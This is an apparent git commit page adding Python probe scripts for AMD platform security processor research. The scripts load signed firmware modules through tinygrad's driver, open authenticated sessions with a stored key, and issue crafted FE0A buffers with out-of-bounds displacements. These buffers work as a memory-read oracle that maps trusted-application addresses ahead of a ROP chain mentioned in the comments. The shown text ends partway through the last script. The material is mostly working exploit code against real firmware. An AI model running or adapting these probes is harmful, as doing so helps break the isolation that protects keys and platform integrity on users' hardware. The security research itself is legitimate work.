aboutsummaryrefslogtreecommitdiffstats
path: root/hw
diff options
context:
space:
mode:
authoruser <user@clank>2026-10-09 16:11:31 +0200
committeruser <user@clank>2026-10-09 16:11:31 +0200
commitbc43149d914325e15dc0490dee9d982e21287623 (patch)
treea632cf70de742d5a60d01c9c0d806bf5b9257538 /hw
parentGCP->ASD 0x403: ASD-internal chain PROVEN end-to-end in emulator (real handlers) (diff)
downloadamd-psp-re-main.tar.gz
amd-psp-re-main.tar.xz
amd-psp-re-main.zip
Record PSP security investigation artifacts and probesHEADmain
Diffstat (limited to 'hw')
-rw-r--r--hw/gcp_fe0a_params_va_adjacent.py106
-rw-r--r--hw/gcp_fe0a_params_va_exact.py106
-rw-r--r--hw/gcp_fe0a_params_va_nonrop.py164
-rw-r--r--hw/gcp_fe0a_params_va_sid2.py123
-rw-r--r--hw/gcp_pmi3_signed_event_control.py84
-rw-r--r--hw/gcp_rop_asd5_pmi3_event.py359
-rw-r--r--hw/mp1_pmi3_host_event_control.py37
-rw-r--r--hw/mp1_pmi3_host_event_control_fresh.py37
-rw-r--r--hw/psp_mp1_pmi3_host_readonly.py25
9 files changed, 1041 insertions, 0 deletions
diff --git a/hw/gcp_fe0a_params_va_adjacent.py b/hw/gcp_fe0a_params_va_adjacent.py
new file mode 100644
index 0000000..5459c8d
--- /dev/null
+++ b/hw/gcp_fe0a_params_va_adjacent.py
@@ -0,0 +1,106 @@
+#!/usr/bin/env python3
+"""One-shot non-ROP equality check for unique GCP .77 word at 0x404A78.
+
+No selector-4 / pivot / LSDMA / MP1 security register request. FE0A diagnostic
+may issue MP1 PMI3 event writes. Three signed auth sessions in one clean boot:
+local positive gate control, then two thresholds bracketing one code dword.
+A fault or unexpected result aborts the sequence; ATX recovery is external.
+"""
+import ast
+import glob
+import hashlib
+import json
+import os
+import struct
+from tinygrad import Device
+import tinygrad.runtime.autogen.am.am as am
+
+# Extract explicitly whitelisted pure CMAC functions and seven probe helpers,
+# never execute either old script's top-level hardware requests.
+def extract(path, sha, names, include_sb=False):
+ src=open(path,'rb').read()
+ assert hashlib.sha256(src).hexdigest()==sha
+ body=[]
+ for n in ast.parse(src.decode()).body:
+ if isinstance(n, ast.FunctionDef) and n.name in names:
+ body.append(n)
+ elif include_sb and isinstance(n,ast.Assign) and len(n.targets)==1 and isinstance(n.targets[0],ast.Name) and n.targets[0].id=='SB':
+ body.append(n)
+ assert {n.name for n in body if isinstance(n,ast.FunctionDef)}==set(names)
+ assert len(body)==len(names)+int(include_sb)
+ ns={}
+ exec(compile(ast.fix_missing_locations(ast.Module(body=body,type_ignores=[])),path,'exec'),ns)
+ return ns
+
+pure=extract('/root/psp/hw/gcp_fe0a_sel8_probe.py',
+ '7e0a36457d7841e027d94ca42742ab5702e325b6ce719d1e261149173d9e64a9',
+ ('xt','expand','enc','dbl','cmac'),True)
+helper=extract('/root/psp/hw/gcp_fe0a_params_va_nonrop.py',
+ '110650cc738fa3301594c8060d7c26d1757bfed0968cc96e2e50417cfaf26073',
+ ('alloc','submit','load','build','invoke','setup_handle','diagnostic_buf'))
+# Compiled functions' globals are the helper dict; resolve cross-function names.
+helper.update(pure)
+helper.update({'am':am,'Device':Device,'glob':glob,'struct':struct,'BUFLEN':0x40000,'PAT':0xA5})
+g=json.load(open('/root/psp/hw/fe08_good.json'))
+helper.update({'ct':bytes.fromhex(g['ct']),'sk':bytes.fromhex(g['sk']),
+ 'seedoff':g['seedoff']})
+assert pure['cmac'](helper['sk'],bytes([1,0,0,0])+bytes(range(4,0x20))).hex()==g['mac']
+print('CMAC self-test OK; no key material printed',flush=True)
+marker='/root/psp/hw/.gcp_fe0a_params_va_adjacent.attempted'
+fd=os.open(marker,os.O_WRONLY|os.O_CREAT|os.O_EXCL,0o600);os.close(fd)
+
+adev=Device['AMD'].iface.dev_impl
+psp=adev.psp
+helper.update({'adev':adev,'psp':psp})
+alloc,load,invoke,setup_handle,diagnostic_buf=(helper[k] for k in
+ ('alloc','load','invoke','setup_handle','diagnostic_buf'))
+asd_app,asd_mc=alloc(0x80000)
+asd_cmd,asd_cmd_mc=alloc(0x10000)
+app,app_mc=alloc(0x80000)
+cmd,cmd_mc=alloc(0x40000)
+helper.update({'cmd':cmd})
+asd_blob=open('/root/psp/contall/asd_33-0-0-163_18debcc4.bin','rb').read()
+gcp_blob=open(glob.glob('/root/psp/contall/ta_22-0-0-77*')[0],'rb').read()
+a_status,_=load(asd_blob,am.GFX_CMD_ID_LOAD_ASD,asd_app,asd_mc,asd_cmd_mc,0x10000)
+print('ASD load',hex(a_status),flush=True)
+assert a_status==0
+status,sid=load(gcp_blob,am.GFX_CMD_ID_LOAD_TA,app,app_mc,cmd_mc,0x40000)
+helper['sid']=sid
+print('GCP load',hex(status),'sid',sid,flush=True)
+assert status==0 and sid
+
+last_ring_ok=False
+try:
+ # Counter=0x4604a120; in-buffer word 0x60000000 must pass the same
+ # 0xffffffff declared-length / diagnostic-selector gates.
+ helper['SEED']=0x4604A121
+ h=setup_handle()
+ last_ring_ok=False
+ ring,ta,_=invoke(0xFE0A,diagnostic_buf(h,0,0x60000000))
+ last_ring_ok=ring==0
+ print('in-buffer gate ring=%#x status=%#x'%(ring,ta),flush=True)
+ assert ring==0 and ta==0x241, 'gate control failed, no OOB probe'
+ # The signed .77 dword at 0x404a78 is 0x4604a121 (unique in its ELF).
+ # Test its exact threshold instead of another generic greater-than.
+ for seed,expected in ((0x4604A121,0x241),(0x4604A122,0x100)):
+ helper['SEED']=seed
+ last_ring_ok=False
+ h=setup_handle()
+ print('ONE comparator threshold counter=%#x'%(seed-1),flush=True)
+ last_ring_ok=False
+ ring,ta,_=invoke(0xFE0A,diagnostic_buf(h,0xFC3E0A64,0x11111111))
+ last_ring_ok=ring==0
+ print('comparator ring=%#x status=%#x expected=%#x'%(ring,ta,expected),flush=True)
+ assert ring==0 and ta==expected, 'nonmatching/faulted threshold: stop, do not infer params VA'
+ print('two thresholds match unique signed codeword 0x4604a121 in this boot;',
+ 'this does not measure the params VA in another boot/session',flush=True)
+finally:
+ # On an exception, don't pile an unload onto a potentially faulted ring.
+ if last_ring_ok:
+ try:
+ u=am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_UNLOAD_TA)
+ u.cmd.cmd_unload_ta.session_id=sid
+ ru=psp._ring_submit(u)
+ print('GCP unload',hex(ru.resp.status&0xffffffff),flush=True)
+ except Exception as exc:
+ print('GCP unload unavailable; ATX needed:',type(exc).__name__,flush=True)
diff --git a/hw/gcp_fe0a_params_va_exact.py b/hw/gcp_fe0a_params_va_exact.py
new file mode 100644
index 0000000..5d013e1
--- /dev/null
+++ b/hw/gcp_fe0a_params_va_exact.py
@@ -0,0 +1,106 @@
+#!/usr/bin/env python3
+"""One-shot non-ROP equality check for signed GCP .77 word at 0x404A74.
+
+No selector-4 / pivot / LSDMA / MP1 security register request. FE0A diagnostic
+may issue MP1 PMI3 event writes. Three signed auth sessions in one clean boot:
+local positive gate control, then two thresholds bracketing one code dword.
+A fault or unexpected result aborts the sequence; ATX recovery is external.
+"""
+import ast
+import glob
+import hashlib
+import json
+import os
+import struct
+from tinygrad import Device
+import tinygrad.runtime.autogen.am.am as am
+
+# Extract explicitly whitelisted pure CMAC functions and seven probe helpers,
+# never execute either old script's top-level hardware requests.
+def extract(path, sha, names, include_sb=False):
+ src=open(path,'rb').read()
+ assert hashlib.sha256(src).hexdigest()==sha
+ body=[]
+ for n in ast.parse(src.decode()).body:
+ if isinstance(n, ast.FunctionDef) and n.name in names:
+ body.append(n)
+ elif include_sb and isinstance(n,ast.Assign) and len(n.targets)==1 and isinstance(n.targets[0],ast.Name) and n.targets[0].id=='SB':
+ body.append(n)
+ assert {n.name for n in body if isinstance(n,ast.FunctionDef)}==set(names)
+ assert len(body)==len(names)+int(include_sb)
+ ns={}
+ exec(compile(ast.fix_missing_locations(ast.Module(body=body,type_ignores=[])),path,'exec'),ns)
+ return ns
+
+pure=extract('/root/psp/hw/gcp_fe0a_sel8_probe.py',
+ '7e0a36457d7841e027d94ca42742ab5702e325b6ce719d1e261149173d9e64a9',
+ ('xt','expand','enc','dbl','cmac'),True)
+helper=extract('/root/psp/hw/gcp_fe0a_params_va_nonrop.py',
+ '110650cc738fa3301594c8060d7c26d1757bfed0968cc96e2e50417cfaf26073',
+ ('alloc','submit','load','build','invoke','setup_handle','diagnostic_buf'))
+# Compiled functions' globals are the helper dict; resolve cross-function names.
+helper.update(pure)
+helper.update({'am':am,'Device':Device,'glob':glob,'struct':struct,'BUFLEN':0x40000,'PAT':0xA5})
+g=json.load(open('/root/psp/hw/fe08_good.json'))
+helper.update({'ct':bytes.fromhex(g['ct']),'sk':bytes.fromhex(g['sk']),
+ 'seedoff':g['seedoff']})
+assert pure['cmac'](helper['sk'],bytes([1,0,0,0])+bytes(range(4,0x20))).hex()==g['mac']
+print('CMAC self-test OK; no key material printed',flush=True)
+marker='/root/psp/hw/.gcp_fe0a_params_va_exact.attempted'
+fd=os.open(marker,os.O_WRONLY|os.O_CREAT|os.O_EXCL,0o600);os.close(fd)
+
+adev=Device['AMD'].iface.dev_impl
+psp=adev.psp
+helper.update({'adev':adev,'psp':psp})
+alloc,load,invoke,setup_handle,diagnostic_buf=(helper[k] for k in
+ ('alloc','load','invoke','setup_handle','diagnostic_buf'))
+asd_app,asd_mc=alloc(0x80000)
+asd_cmd,asd_cmd_mc=alloc(0x10000)
+app,app_mc=alloc(0x80000)
+cmd,cmd_mc=alloc(0x40000)
+helper.update({'cmd':cmd})
+asd_blob=open('/root/psp/contall/asd_33-0-0-163_18debcc4.bin','rb').read()
+gcp_blob=open(glob.glob('/root/psp/contall/ta_22-0-0-77*')[0],'rb').read()
+a_status,_=load(asd_blob,am.GFX_CMD_ID_LOAD_ASD,asd_app,asd_mc,asd_cmd_mc,0x10000)
+print('ASD load',hex(a_status),flush=True)
+assert a_status==0
+status,sid=load(gcp_blob,am.GFX_CMD_ID_LOAD_TA,app,app_mc,cmd_mc,0x40000)
+helper['sid']=sid
+print('GCP load',hex(status),'sid',sid,flush=True)
+assert status==0 and sid
+
+last_ring_ok=False
+try:
+ # Counter=0x460db5af; in-buffer word 0x60000000 must pass the same
+ # 0xffffffff declared-length / diagnostic-selector gates.
+ helper['SEED']=0x460DB5B0
+ h=setup_handle()
+ last_ring_ok=False
+ ring,ta,_=invoke(0xFE0A,diagnostic_buf(h,0,0x60000000))
+ last_ring_ok=ring==0
+ print('in-buffer gate ring=%#x status=%#x'%(ring,ta),flush=True)
+ assert ring==0 and ta==0x241, 'gate control failed, no OOB probe'
+ # The signed .77 dword at 0x404a74 is 0x460db5b0. These two
+ # comparisons distinguish exact equality, not merely >0x40000000.
+ for seed,expected in ((0x460DB5B0,0x241),(0x460DB5B1,0x100)):
+ helper['SEED']=seed
+ last_ring_ok=False
+ h=setup_handle()
+ print('ONE comparator threshold counter=%#x'%(seed-1),flush=True)
+ last_ring_ok=False
+ ring,ta,_=invoke(0xFE0A,diagnostic_buf(h,0xFC3E0A60,0x11111111))
+ last_ring_ok=ring==0
+ print('comparator ring=%#x status=%#x expected=%#x'%(ring,ta,expected),flush=True)
+ assert ring==0 and ta==expected, 'nonmatching/faulted threshold: stop, do not infer params VA'
+ print('two thresholds match exact signed codeword 0x460db5b0 in this boot;',
+ 'this does not measure the params VA in another boot/session',flush=True)
+finally:
+ # On an exception, don't pile an unload onto a potentially faulted ring.
+ if last_ring_ok:
+ try:
+ u=am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_UNLOAD_TA)
+ u.cmd.cmd_unload_ta.session_id=sid
+ ru=psp._ring_submit(u)
+ print('GCP unload',hex(ru.resp.status&0xffffffff),flush=True)
+ except Exception as exc:
+ print('GCP unload unavailable; ATX needed:',type(exc).__name__,flush=True)
diff --git a/hw/gcp_fe0a_params_va_nonrop.py b/hw/gcp_fe0a_params_va_nonrop.py
new file mode 100644
index 0000000..151857b
--- /dev/null
+++ b/hw/gcp_fe0a_params_va_nonrop.py
@@ -0,0 +1,164 @@
+#!/usr/bin/env python3
+"""One-shot NON-ROP FE0A mapping discriminator on the card.
+
+No FE0A selector-4 chosen writes, no GCP pivot, no LSDMA/MP1-MMU writes.
+An in-buffer diagnostic FE0A control first checks all gates; ONE subsequent
+out-of-buffer comparator may fault if the params VA differs from BOTH bases.
+Both FE0A paths may emit three ASD->SYS_DRV 0x1079 events to MP1 PMI3.
+On ring timeout stop and recover with ATX.
+"""
+import ast
+import glob
+import hashlib
+import json
+import os
+import struct
+import sys
+
+from tinygrad import Device
+import tinygrad.runtime.autogen.am.am as am
+
+# Reuse ONLY the pure AES/CMAC definitions from the byte-identical older probe.
+# Parse as DATA: never import or execute its top-level card-operation code.
+HELPER = '/root/psp/hw/gcp_fe0a_sel8_probe.py'
+EXPECTED_SHA256 = '7e0a36457d7841e027d94ca42742ab5702e325b6ce719d1e261149173d9e64a9'
+src = open(HELPER, 'rb').read()
+assert hashlib.sha256(src).hexdigest() == EXPECTED_SHA256
+nodes = []
+for node in ast.parse(src.decode()).body:
+ if isinstance(node, ast.Assign) and len(node.targets) == 1 and isinstance(node.targets[0], ast.Name) and node.targets[0].id == 'SB':
+ nodes.append(node)
+ if isinstance(node, ast.FunctionDef) and node.name in ('xt', 'expand', 'enc', 'dbl', 'cmac'):
+ nodes.append(node)
+assert len(nodes) == 6 and {n.name for n in nodes if isinstance(n, ast.FunctionDef)} == {'xt','expand','enc','dbl','cmac'}
+helper = {}
+exec(compile(ast.fix_missing_locations(ast.Module(body=nodes, type_ignores=[])), HELPER, 'exec'), helper)
+cmac = helper['cmac']
+g = json.load(open('/root/psp/hw/fe08_good.json'))
+ct, sk, seedoff = bytes.fromhex(g['ct']), bytes.fromhex(g['sk']), g['seedoff']
+assert cmac(sk, bytes([1,0,0,0])+bytes(range(4,0x20))).hex() == g['mac']
+print('CMAC self-test OK; key material not printed', flush=True)
+
+BUFLEN, PAT = 0x40000, 0xA5
+DISP, SEED = 0xFC3E0A60, 0x40000001
+assert ((0x04024000 + 0x14 + DISP) & 0xffffffff) == 0x404A74
+assert ((0x04035000 + 0x14 + DISP) & 0xffffffff) == 0x415A74
+
+# One-shot guard against accidentally replaying this stateful test.
+marker = '/root/psp/hw/.gcp_fe0a_params_va_nonrop.attempted'
+fd = os.open(marker, os.O_WRONLY | os.O_CREAT | os.O_EXCL, 0o600)
+os.close(fd)
+
+adev = Device['AMD'].iface.dev_impl
+psp = adev.psp
+
+def alloc(n):
+ pa = adev.mm.palloc(n, align=0x1000, zero=True, boot=False)
+ return pa, adev.paddr2mc(pa)
+
+def submit(cmd):
+ return psp._ring_submit(cmd)
+
+def load(blob, which, app_pa, app_mc, cmd_mc, cmdlen):
+ n = (len(blob)+3)&~3
+ adev.vram.view(app_pa,n)[:] = blob + b'\0'*(n-len(blob))
+ adev.gmc.flush_hdp()
+ c = am.struct_psp_gfx_cmd_resp(cmd_id=which)
+ t = c.cmd.cmd_load_ta
+ t.app_phy_addr_lo,t.app_phy_addr_hi = app_mc&0xffffffff,app_mc>>32
+ t.app_len = len(blob)
+ t.cmd_buf_phy_addr_lo,t.cmd_buf_phy_addr_hi = cmd_mc&0xffffffff,cmd_mc>>32
+ t.cmd_buf_len = cmdlen
+ r = submit(c)
+ return r.resp.status&0xffffffff,r.resp.session_id
+
+asd_app,asd_mc = alloc(0x80000)
+asd_cmd,asd_cmd_mc = alloc(0x10000)
+app,app_mc = alloc(0x80000)
+cmd,cmd_mc = alloc(BUFLEN)
+asd_blob = open('/root/psp/contall/asd_33-0-0-163_18debcc4.bin','rb').read()
+gcp_blob = open(glob.glob('/root/psp/contall/ta_22-0-0-77*')[0],'rb').read()
+a_status,_ = load(asd_blob, am.GFX_CMD_ID_LOAD_ASD, asd_app, asd_mc, asd_cmd_mc, 0x10000)
+print('ASD load status=%#x'%a_status, flush=True)
+assert a_status == 0
+status,sid = load(gcp_blob, am.GFX_CMD_ID_LOAD_TA, app, app_mc, cmd_mc, BUFLEN)
+print('GCP load status=%#x sid=%s'%(status,sid), flush=True)
+assert status == 0 and sid
+
+def build(op,handle,blob=None,seed=None,extra=None):
+ b = bytearray([PAT])*BUFLEN
+ struct.pack_into('<II',b,0,op,0)
+ struct.pack_into('<I',b,0x10,handle)
+ struct.pack_into('<I',b,0x414,0xfffffffb)
+ struct.pack_into('<I',b,0x818,0x1000)
+ if blob is not None: b[0x14:0x14+len(blob)] = blob
+ if seed is not None:
+ d = seed.to_bytes(4,'little') + bytes(range(4,0x20))
+ b[0x14:0x24] = cmac(sk,d)
+ b[0x24:0x24+len(d)] = d
+ struct.pack_into('<I',b,0x414,0x10+len(d))
+ for off,val in (extra or {}).items(): struct.pack_into('<I',b,off,val)
+ return b
+
+def invoke(op,b):
+ adev.vram.view(cmd,BUFLEN)[:] = b
+ adev.gmc.flush_hdp()
+ c = am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_INVOKE_CMD)
+ c.cmd.cmd_invoke_cmd.session_id = sid
+ c.cmd.cmd_invoke_cmd.ta_cmd_id = op
+ r = submit(c)
+ adev.gmc.flush_hdp()
+ data = bytes(adev.vram.view(cmd,0x1960)[:])
+ return r.resp.status&0xffffffff,struct.unpack_from('<I',data,8)[0],data
+
+def setup_handle():
+ ring,ta,data = invoke(0xFE07,build(0xFE07,0))
+ handle = struct.unpack_from('<I',data,0x1950)[0]
+ print('FE07 ring=%#x ta=%#x handle_nonzero=%s'%(ring,ta,bool(handle)), flush=True)
+ assert ring == ta == 0 and handle
+ ring,ta,_ = invoke(0xFE08,build(0xFE08,handle,blob=ct))
+ print('FE08 ring=%#x ta=%#x'%(ring,ta), flush=True)
+ assert ring == ta == 0
+ ring,ta,_ = invoke(0xFE09,build(0xFE09,handle,seed=SEED,
+ extra={0x820:1, 0x828:0xE8, 0x82C:seedoff, 0x830:0}))
+ print('FE09 ring=%#x ta=%#x'%(ring,ta), flush=True)
+ assert ring == ta == 0
+ return handle
+
+def diagnostic_buf(handle,disp,local_word):
+ b = build(0xFE0A,handle)
+ struct.pack_into('<I',b,0x14,local_word)
+ struct.pack_into('<I',b,0x414,0xffffffff) # REQUIRED by pre-comparator signed bound
+ struct.pack_into('<I',b,0x820,11) # diagnostic case; NO memcpy/selector-4
+ struct.pack_into('<I',b,0x824,disp)
+ struct.pack_into('<I',b,0x828,0)
+ return b
+
+finished = False
+try:
+ control_handle = setup_handle()
+ print('in-buffer FE0A control, same huge declared length and selector',flush=True)
+ cring,cta,_ = invoke(0xFE0A,diagnostic_buf(control_handle,0,0x60000000))
+ print('control ring=%#x ta=%#x'%(cring,cta),flush=True)
+ assert cring == 0 and cta == 0x241, 'gate control failed; no OOB comparator attempted'
+ handle = setup_handle() # new signed auth session; preserve prior control
+ print('issuing ONE non-ROP OOB comparator; old-base=0x241 shifted-base=0x100; other=unknown',flush=True)
+ ring,ta,_ = invoke(0xFE0A,diagnostic_buf(handle,DISP,0x11111111))
+ finished = ring == 0
+ print('comparator ring=%#x ta=%#x'%(ring,ta),flush=True)
+ if ring == 0 and ta == 0x241:
+ print('conditional old-base comparator ACCEPT; still not a live VA measurement',flush=True)
+ elif ring == 0 and ta == 0x100:
+ print('conditional shifted-base comparator REJECT (other target words can also reject)',flush=True)
+ else:
+ print('NON-DISCRIMINATING RESULT: do not assume either VA',flush=True)
+finally:
+ # Never stack more PSP commands on an exception or an unresponsive ring.
+ try:
+ if finished:
+ u = am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_UNLOAD_TA)
+ u.cmd.cmd_unload_ta.session_id = sid
+ ru = submit(u)
+ print('GCP unload ring=%#x'%(ru.resp.status&0xffffffff),flush=True)
+ except Exception as exc:
+ print('GCP unload unavailable; ATX recovery needed:',type(exc).__name__,flush=True)
diff --git a/hw/gcp_fe0a_params_va_sid2.py b/hw/gcp_fe0a_params_va_sid2.py
new file mode 100644
index 0000000..6aed546
--- /dev/null
+++ b/hw/gcp_fe0a_params_va_sid2.py
@@ -0,0 +1,123 @@
+#!/usr/bin/env python3
+"""One-shot non-ROP params-VA discriminator for GCP session ID 2.
+
+Run ONLY immediately after the successful SID1 adjacent-word test left ASD
+loaded and GCP unloaded. No selector-4, pivot or DMA control writes. Selector
+11 may emit MP1 PMI3 diagnostic events. Preserve this boot: no ATX beforehand.
+A fault or unexpected result stops; ATX recovery is external.
+"""
+import ast
+import glob
+import hashlib
+import json
+import os
+import struct
+from tinygrad import Device
+import tinygrad.runtime.autogen.am.am as am
+
+# Extract explicitly whitelisted pure CMAC functions and seven probe helpers,
+# never execute either old script's top-level hardware requests.
+def extract(path, sha, names, include_sb=False):
+ src=open(path,'rb').read()
+ assert hashlib.sha256(src).hexdigest()==sha
+ body=[]
+ for n in ast.parse(src.decode()).body:
+ if isinstance(n, ast.FunctionDef) and n.name in names:
+ body.append(n)
+ elif include_sb and isinstance(n,ast.Assign) and len(n.targets)==1 and isinstance(n.targets[0],ast.Name) and n.targets[0].id=='SB':
+ body.append(n)
+ assert {n.name for n in body if isinstance(n,ast.FunctionDef)}==set(names)
+ assert len(body)==len(names)+int(include_sb)
+ ns={}
+ exec(compile(ast.fix_missing_locations(ast.Module(body=body,type_ignores=[])),path,'exec'),ns)
+ return ns
+
+pure=extract('/root/psp/hw/gcp_fe0a_sel8_probe.py',
+ '7e0a36457d7841e027d94ca42742ab5702e325b6ce719d1e261149173d9e64a9',
+ ('xt','expand','enc','dbl','cmac'),True)
+helper=extract('/root/psp/hw/gcp_fe0a_params_va_nonrop.py',
+ '110650cc738fa3301594c8060d7c26d1757bfed0968cc96e2e50417cfaf26073',
+ ('alloc','submit','load','build','invoke','setup_handle','diagnostic_buf'))
+# Compiled functions' globals are the helper dict; resolve cross-function names.
+helper.update(pure)
+helper.update({'am':am,'Device':Device,'glob':glob,'struct':struct,'BUFLEN':0x40000,'PAT':0xA5})
+g=json.load(open('/root/psp/hw/fe08_good.json'))
+helper.update({'ct':bytes.fromhex(g['ct']),'sk':bytes.fromhex(g['sk']),
+ 'seedoff':g['seedoff']})
+assert pure['cmac'](helper['sk'],bytes([1,0,0,0])+bytes(range(4,0x20))).hex()==g['mac']
+print('CMAC self-test OK; no key material printed',flush=True)
+marker='/root/psp/hw/.gcp_fe0a_params_va_sid2.attempted'
+fd=os.open(marker,os.O_WRONLY|os.O_CREAT|os.O_EXCL,0o600);os.close(fd)
+
+adev=Device['AMD'].iface.dev_impl
+psp=adev.psp
+helper.update({'adev':adev,'psp':psp})
+alloc,load,invoke,setup_handle,diagnostic_buf=(helper[k] for k in
+ ('alloc','load','invoke','setup_handle','diagnostic_buf'))
+# ASD from the preceding successful test remains loaded; re-loading would
+# change the experiment. Only a fresh GCP load is issued here.
+app,app_mc=alloc(0x80000)
+cmd,cmd_mc=alloc(0x40000)
+helper.update({'cmd':cmd})
+gcp_blob=open(glob.glob('/root/psp/contall/ta_22-0-0-77*')[0],'rb').read()
+status,sid=load(gcp_blob,am.GFX_CMD_ID_LOAD_TA,app,app_mc,cmd_mc,0x40000)
+helper['sid']=sid
+print('GCP load',hex(status),'sid',sid,flush=True)
+assert status==0 and sid==2, 'not the expected SID2 mapping scenario'
+
+last_ring_ok=False
+try:
+ # Counter=0x4604a120; in-buffer word 0x60000000 must pass the same
+ # 0xffffffff declared-length / diagnostic-selector gates.
+ helper['SEED']=0x4604A121
+ h=setup_handle()
+ last_ring_ok=False
+ ring,ta,_=invoke(0xFE0A,diagnostic_buf(h,0,0x60000000))
+ last_ring_ok=ring==0
+ print('in-buffer gate ring=%#x status=%#x'%(ring,ta),flush=True)
+ assert ring==0 and ta==0x241, 'gate control failed, no OOB probe'
+ # The signed .77 dword at 0x404a78 is 0x4604a121, unique in its ELF.
+ # Old-base displacement reads it if params=0x04024000; shifted-base
+ # displacement reads it if params=0x04035000. Only follow the alternative
+ # after a clean old-base rejection and a working in-buffer control.
+ helper['SEED']=0x4604A121
+ last_ring_ok=False
+ h=setup_handle()
+ last_ring_ok=False
+ ring,ta,_=invoke(0xFE0A,diagnostic_buf(h,0xFC3E0A64,0x11111111))
+ last_ring_ok=ring==0
+ print('old-base threshold counter=0x4604a120 ring=%#x status=%#x'%(ring,ta),flush=True)
+ assert ring==0 and ta in (0x100,0x241), 'unexpected old-base result; stop'
+ if ta==0x241:
+ disp=0xFC3E0A64; label='OLD_BASE'
+ else:
+ disp=0xFC3CFA64; label='SHIFTED_BASE'
+ helper['SEED']=0x4604A121
+ last_ring_ok=False
+ h=setup_handle()
+ last_ring_ok=False
+ ring,ta,_=invoke(0xFE0A,diagnostic_buf(h,disp,0x11111111))
+ last_ring_ok=ring==0
+ print('shifted-base threshold counter=0x4604a120 ring=%#x status=%#x'%(ring,ta),flush=True)
+ assert ring==0 and ta==0x241, 'shifted-base did not match; stop'
+ # Exact equality: the boundary counter must reject the same target.
+ helper['SEED']=0x4604A122
+ last_ring_ok=False
+ h=setup_handle()
+ last_ring_ok=False
+ ring,ta,_=invoke(0xFE0A,diagnostic_buf(h,disp,0x11111111))
+ last_ring_ok=ring==0
+ print(label,'equality boundary counter=0x4604a121 ring=%#x status=%#x'%(ring,ta),flush=True)
+ assert ring==0 and ta==0x100, 'second threshold did not confirm the unique word'
+ print(label,'matches unique signed codeword 0x4604a121 in this SID2 boot;',
+ 'this is still a source read, not an independently verified destination write',flush=True)
+finally:
+ # On an exception, don't pile an unload onto a potentially faulted ring.
+ if last_ring_ok:
+ try:
+ u=am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_UNLOAD_TA)
+ u.cmd.cmd_unload_ta.session_id=sid
+ ru=psp._ring_submit(u)
+ print('GCP unload',hex(ru.resp.status&0xffffffff),flush=True)
+ except Exception as exc:
+ print('GCP unload unavailable; ATX needed:',type(exc).__name__,flush=True)
diff --git a/hw/gcp_pmi3_signed_event_control.py b/hw/gcp_pmi3_signed_event_control.py
new file mode 100644
index 0000000..76fd4eb
--- /dev/null
+++ b/hw/gcp_pmi3_signed_event_control.py
@@ -0,0 +1,84 @@
+#!/usr/bin/env python3
+"""One-shot signed GCP diagnostic event versus host-only PMI3 neighbor readback.
+
+This is a CONTROL for candidate fabric target 0x03B30600, not an ASD 0x403
+write. Only FE0A selector 11's signed diagnostic messages are issued. No
+read/write of the candidate data register itself; host SMN INDEX2 writes
+select the read address only. No repeat of the quarantined ROP chain.
+"""
+import ast
+import glob
+import hashlib
+import json
+import os
+import struct
+from tinygrad import Device
+import tinygrad.runtime.autogen.am.am as am
+
+def extract(path,sha,names,include_sb=False):
+ src=open(path,'rb').read()
+ assert hashlib.sha256(src).hexdigest()==sha
+ body=[]
+ for n in ast.parse(src.decode()).body:
+ if isinstance(n,ast.FunctionDef) and n.name in names: body.append(n)
+ if include_sb and isinstance(n,ast.Assign) and len(n.targets)==1 and isinstance(n.targets[0],ast.Name) and n.targets[0].id=='SB': body.append(n)
+ assert len(body)==len(names)+int(include_sb)
+ assert {n.name for n in body if isinstance(n,ast.FunctionDef)}==set(names)
+ ns={}
+ exec(compile(ast.fix_missing_locations(ast.Module(body=body,type_ignores=[])),path,'exec'),ns)
+ return ns
+pure=extract('/root/psp/hw/gcp_fe0a_sel8_probe.py',
+ '7e0a36457d7841e027d94ca42742ab5702e325b6ce719d1e261149173d9e64a9',
+ ('xt','expand','enc','dbl','cmac'),True)
+h=extract('/root/psp/hw/gcp_fe0a_params_va_nonrop.py',
+ '110650cc738fa3301594c8060d7c26d1757bfed0968cc96e2e50417cfaf26073',
+ ('alloc','submit','load','build','invoke','setup_handle','diagnostic_buf'))
+h.update(pure);h.update({'am':am,'glob':glob,'struct':struct,'BUFLEN':0x40000,'PAT':0xA5,'SEED':1})
+g=json.load(open('/root/psp/hw/fe08_good.json'))
+h.update({'ct':bytes.fromhex(g['ct']),'sk':bytes.fromhex(g['sk']),'seedoff':g['seedoff']})
+assert pure['cmac'](h['sk'],bytes([1,0,0,0])+bytes(range(4,0x20))).hex()==g['mac']
+print('CMAC self-test OK; key material not printed',flush=True)
+fd=os.open('/root/psp/hw/.gcp_pmi3_signed_event_control.attempted',os.O_WRONLY|os.O_CREAT|os.O_EXCL,0o600);os.close(fd)
+adev=Device['AMD'].iface.dev_impl
+psp=adev.psp
+h.update({'adev':adev,'psp':psp})
+alloc,load,invoke,setup_handle,diagnostic_buf=(h[k] for k in ('alloc','load','invoke','setup_handle','diagnostic_buf'))
+
+def smn(a):
+ adev.wreg(14,a) # PCIE_INDEX2, numeric read selector only
+ return adev.rreg(15)&0xffffffff
+
+def snapshot(tag):
+ vals=tuple(smn(a) for a in (0x03B30604,0x03B30608,0x03B3060C))
+ print(tag,'PMI3 adjacent status,rptr,wptr',tuple(hex(v) for v in vals),
+ 'MP0',hex(smn(0x03810ACC)),'bogus',hex(smn(0x0FEEDC00)),flush=True)
+ return vals
+
+# ASD is still loaded after the preceding signed ASD-first run. GCP TA
+# unload was independently verified zero; do not disturb ASD or ATX.
+app,app_mc=alloc(0x80000)
+cmd,cmd_mc=alloc(0x40000)
+h['cmd']=cmd
+gcp_blob=open(glob.glob('/root/psp/contall/ta_22-0-0-77*')[0],'rb').read()
+status,sid=load(gcp_blob,am.GFX_CMD_ID_LOAD_TA,app,app_mc,cmd_mc,0x40000)
+h['sid']=sid
+print('GCP load',hex(status),'sid',sid,flush=True)
+assert status==0 and sid
+ring_ok=False
+try:
+ handle=setup_handle()
+ before=snapshot('BEFORE')
+ b=diagnostic_buf(handle,0,0x60000000)
+ struct.pack_into('<I',b,0x414,0x1000) # ordinary in-buffer declared length
+ ring,ta,_=invoke(0xFE0A,b)
+ ring_ok=ring==0
+ print('signed selector-11 FE0A ring=%#x ta=%#x'%(ring,ta),flush=True)
